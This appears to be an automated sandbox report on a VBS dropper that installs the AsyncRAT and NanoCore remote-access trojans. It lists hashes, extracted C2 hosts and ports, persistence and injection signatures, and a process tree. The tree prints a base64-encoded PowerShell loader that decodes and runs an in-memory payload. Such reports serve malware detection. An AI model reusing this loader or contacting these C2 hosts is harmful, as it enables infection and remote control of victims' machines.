Resubmissions
28-08-2024 22:22
240828-2al3mazana 1028-08-2024 21:59
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240828-a8x41a1ajk 1027-08-2024 03:06
240827-dl39aa1gpm 10Analysis
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max time kernel
136s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
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submitted
27-08-2024 03:06
General
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Target
c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs
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Size
2.0MB
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MD5
3096f8476512077adacad2e66cd9535e
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SHA1
8ddfbf4ea1bb26fecb75ff9482529060351f5c82
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SHA256
c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd
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SHA512
277c34f5300e6e4b2129dd8aae4e68c226dee549601d0fb12323d86588492ea810cbe9ffcecda66c7680f2af6e76a7d7532d7a09d1cd59d639980ae06ac5188f
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SSDEEP
24576:9f5HNlz6GydnATwu6JRnDB/4G8jslVZCNct1hMYnnEhKEw7nmlLW+r1/YrK88skH:pNTmJT/QglCN07ir4f6MJk8nO
Malware Config
Extracted
asyncrat
0.5.7B
Default
onlineisofilelandersbaseballer1.mrbonus.com:7011
AsyncMutex_6SI8OkPnk
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delay
3
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install
false
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install_folder
%AppData%
Extracted
nanocore
1.2.2.0
e-businessloader.mywire.org:5230
127.0.0.1:5230
0be0e5d9-4209-4f88-b4fe-27e7b678a0b5
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activate_away_mode
true
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backup_connection_host
127.0.0.1
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backup_dns_server
8.8.4.4
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buffer_size
65535
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build_time
2024-03-16T21:32:38.702958636Z
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bypass_user_account_control
true
- bypass_user_account_control_data
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clear_access_control
true
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clear_zone_identifier
false
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connect_delay
4000
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connection_port
5230
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default_group
e-business
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enable_debug_mode
true
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gc_threshold
1.048576e+07
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keep_alive_timeout
30000
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keyboard_logging
false
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lan_timeout
2500
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max_packet_size
1.048576e+07
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mutex
0be0e5d9-4209-4f88-b4fe-27e7b678a0b5
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mutex_timeout
5000
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prevent_system_sleep
false
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primary_connection_host
e-businessloader.mywire.org
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primary_dns_server
8.8.8.8
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request_elevation
true
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restart_delay
5000
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run_delay
0
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run_on_startup
true
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set_critical_process
true
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timeout_interval
5000
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use_custom_dns_server
false
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version
1.2.2.0
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wan_timeout
8000
Signatures
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AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
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NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
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Async RAT payload 1 IoCs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Suspicious use of SetThreadContext 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Modifies registry class 1 IoCs
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe"C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" -enc JABWAGwAbgBmAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAWQBiAGsAbwBhACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAVgBsAG4AZgByACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEYAZABqAGcAagAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABZAGIAawBvAGEALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEEAcABnAGoAcABqAGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEYAZABqAGcAagAgACkAOwAkAFcAdQB3AHUAaAB1AGMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABBAHAAZwBqAHAAagBqACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABZAGcAbwB5AGkAdgBlAG4AbgBvAC4AQwBvAHAAeQBUAG8AKAAgACQAVwB1AHcAdQBoAHUAYwBoACAAKQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAuAEMAbABvAHMAZQAoACkAOwAkAEEAcABnAGoAcABqAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABGAGQAagBnAGoAIAA9ACAAJABXAHUAdwB1AGgAdQBjAGgALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEYAZABqAGcAagApADsAIAAkAEMAaQB4AHoAbwBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARgBkAGoAZwBqACkAOwAgACQATABqAGoAdwBlAHIAZgBuAGcAIAA9ACAAJABDAGkAeAB6AG8AZgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEwAagBqAHcAZQByAGYAbgBnAC4ARABlAGMAbABhAHIAaQBuAGcAVAB5AHAAZQAsACAAJABMAGoAagB3AGUAcgBmAG4AZwAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" /Y1⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
47KB
MD5159c90b70a434849067541ea6242addf
SHA1a8fa40329afa1d5ebab79cdde6863c81e15f0735
SHA2565982b94c5faf43027f7c8beb54f393619d718ce2afb1a2ecf98a40b7ee97fb4c
SHA51292974a835a7652e9396630cd4fc88d06f01e4ad1ec6f7f8e8bfeb614c0611a8d281359b518cbad21536c432ffd8e6d0bab74209fb0f1c1d62f18de5e049e50db
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
Filesize
48KB
-
Filesize
104KB
-
Filesize
80KB
-
Filesize
64KB
-
Filesize
80KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
56KB
-
Filesize
56KB
-
Filesize
184KB
-
Filesize
48KB
-
Filesize
40KB
-
Filesize
120KB
-
Filesize
40KB
-
Filesize
40KB
-
Filesize
624KB
-
Filesize
584KB
-
Filesize
224KB
-
Filesize
72KB
-
Filesize
72KB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
528KB
-
Filesize
304KB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
336KB
-
Filesize
7.7MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.0MB
-
Filesize
1.1MB
-
Filesize
6.5MB
-
Filesize
5.6MB
-
Filesize
136KB
-
Filesize
104KB
-
Filesize
600KB
-
Filesize
304KB
-
Filesize
120KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
136KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
216KB
-
Filesize
4KB